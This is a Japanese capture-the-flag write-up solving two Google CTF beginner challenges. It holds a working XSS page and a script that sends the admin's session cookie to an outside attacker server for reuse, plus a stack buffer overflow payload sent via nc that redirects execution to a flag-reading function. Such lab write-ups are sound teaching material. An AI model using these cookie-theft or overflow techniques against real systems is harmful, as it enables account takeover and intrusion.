2018/12/15

Google CTF Beginners Quest ROUTER-UI

username, passwordを入力しSign inを行うページ https://router-ui.web.ctfcompetition.com/login が与えられる。

XSS脆弱性確認

If we could find an XSS on the page then we could use it to steal the root user session token.

問題文によるとXSSが実行可能であり、これを用いてroot userのsession tokenを奪う必要がある。

まず普通の文字列でログインを試す。

不自然に//で区切られており、何らかの場面でこれを利用すると考えられる。

次に、usernameに<script>alert(1);</script>を入力しXSSを試す。ChromeとSafariではブラウザのXSSブロック機能が働くためFirefoxを用いた。

alert(1)が動作している。同様の手順でpasswordにもXSSの脆弱性があることを確認した。

問題文に書かれているメールアドレス確認

In case you find something, try to send an email to wintermuted@googlegroups.com.

問題文には管理人らしき人物にメール送信が可能とも書いている。

挙動確認のためwintermuted@googlegroups.comへ本文が空のメールを送ると、以下の文が返信された。

Hey,
I checked out your email, but I couldn't spot anything that looked like a link. Can you send it again?

送信したリンクへWintermutedがアクセスするらしい。

Sign inページ内にはWintermutedにスクリプトを実行させる手段が無いため、攻撃サーバを用意してcookieを奪う問題だと推測できる。(攻撃サーバを立てるという発想がなく、ここが分からなかった)

攻撃用サーバ用意

攻撃用サーバを立て、Sign inページへ自動的にPOSTを行うフォームを作成する。ここではhttps://ctf.unigiri.netを立て、Let’s Encryptで証明書を取得した。

Wintermutedに踏ませるrouter-ui.htmlは以下の通り。usernameとpasswordを区切る文字列//を利用するとURLを含むscriptの実行に成功する。

全ての通信は必ずHTTPSで通信すること。HTTP通信では後述のCookieを得られない。

<html>
  <body>
    <form method="POST" action="https://router-ui.web.ctfcompetition.com/login">
      <input name="username" value="<script src=https:">
      <input name="password" value="ctf.unigiri.net/steal.js></script>;">
    </form>
  <script>document.forms[0].submit();</script>
  </body>
</html>

steal.jsの中身はwindow.location.href='https://ctf.unigiri.net/log.php?'+document.cookie;一行のみ。

これによりWintermutedがrouter-ui.htmlへアクセスした際、以下の順で通信が発生する。

  1. GET https://ctf.unigiri.net/router-ui.html
  2. POST https://router-ui.web.ctfcompetition.com/login
  3. GET https://ctf.unigiri.net/log.php?COOKIE

3回目の通信のパラメータにはWintermutedのCookieが挿入され、この値を攻撃サーバのアクセスログから確認する。

攻撃実施

本文に https://ctf.unigiri.net/router-ui.html を入力して送信。猫の画像は添付しなくてよい。

3行目のflag=Try...がWintermutedのCookieである。URL Decodeを行うとTry the session cookie; session=Avaev8thDieM6Quauoh2TuDeaez9Wejaが得られ、指示通りに進める。

Firefoxのヘッダ書き換えプラグインを用いてCookieにsession=Avaev8thDieM6Quauoh2TuDeaez9Wejaを指定した状態で https://router-ui.web.ctfcompetition.com/ へアクセス。

管理画面が表示され、ページのソースからフラグを得る。

Google CTF Beginners Quest MESSAGE OF THE DAY

コマンドnc motd.ctfcompetition.com 1337とバイナリmotdが与えられる。

ncを実行するとメニューが表示される。

Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice:

ここではプログラムに保存する1行の文字列をMOTDと呼んでいる。起動直後はMOTDとしてMOTD: Welcome back friend!が保存されている。

機能1で一般ユーザ用のMOTD表示, 2で保存を行い、3でadmin用のMOTD設定, 4で表示を行う。

脆弱な挙動を探す

$ python -c "print('2\n'+'A'*300)" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
$ # 正常であれば再度メニューが表示されるが、異常終了した

機能2で適当に長い文字列を与えるとプログラムが異常終了するため、文字列の長さをチェックしていないと考えられる。

IDAによる挙動確認

; Attributes: bp-based frame

public set_motd
set_motd proc near

src= byte ptr -100h

push    rbp
mov     rbp, rsp
sub     rsp, 100h
lea     rdi, s          ; "Enter new message of the day"
call    _puts
lea     rdi, format     ; "New msg: "
mov     eax, 0
call    _printf
lea     rax, [rbp+src]
mov     rdi, rax
mov     eax, 0
call    _gets
lea     rax, [rbp+src]
mov     edx, 100h       ; n
mov     rsi, rax        ; src
lea     rdi, MOTD       ; dest
call    _strncpy
mov     cs:byte_608071DF, 0
lea     rdi, aNewMessageOfTh ; "New message of the day saved!"
call    _puts
nop
leave
retn
set_motd endp

機能2の処理内容。sub rsp, 100hでMOTD入力用バッファを確保した後、[rbp+src]へ入力の長さを確認せず読み込んでいる。よってここでリターンアドレスの書き換えが可能。

; Attributes: bp-based frame

public read_flag
read_flag proc near

var_110= byte ptr -110h
var_8= qword ptr -8

push    rbp
mov     rbp, rsp
sub     rsp, 110h
lea     rdx, [rbp+var_110]
mov     eax, 0
mov     ecx, 20h
mov     rdi, rdx
rep stosq
lea     rsi, modes      ; "r"
lea     rdi, filename   ; "./flag.txt"
call    _fopen
mov     [rbp+var_8], rax
lea     rdx, [rbp+var_110]
mov     rax, [rbp+var_8]
lea     rsi, aS         ; "%s"
mov     rdi, rax
mov     eax, 0
call    ___isoc99_fscanf
lea     rax, [rbp+var_110]
mov     rsi, rax
lea     rdi, aAdminMotdIsS ; "Admin MOTD is: %s\n"
mov     eax, 0
call    _printf
nop
leave
retn
read_flag endp

また、機能4から呼び出される関数read_flagが存在し、これは./flag.txtの内容を読んで出力している。

先程のリターンアドレスをこの関数の開始地点に設定するとフラグが得られると考えられる。IDAのText viewより開始地点は0x606063A5であると分かる。

payload作成

関数set_motdの開始直後にてリターンアドレスはRSPに保存されている。(直前のcallによりpushされるため)

ここから「push rbp」「mov rbp, rsp」「sub rsp, 100h」が順に実行され、MOTD入力用の領域[rbp-100h]が確保される。よって以下の長さの合計264がpayload先頭の無意味な文字の長さとなる。

ただしgets()は読み込んだ文字列にヌル文字を追加するため、実際の入力は1文字減り263文字となる点に注意。

無意味な文字を出力した後にリターンアドレス0x606063A5を入力する。リトルエンディアンにより逆順となる。

$ python -c "print('A'*263 + '\xa5\x63\x60\x60')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥c``

payload送信

以上で作成したpayloadを機能2実行時に入力するとフラグを得る。

$ python -c "print('2\n'+'A'*263 + '\xa5\x63\x60\x60')" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{DUMMY_FLAG}

payload送信をCentOS7で試したところリターンアドレス\xa5がうまく出力されず失敗した。macOSでは成功しており、この差の原因は不明。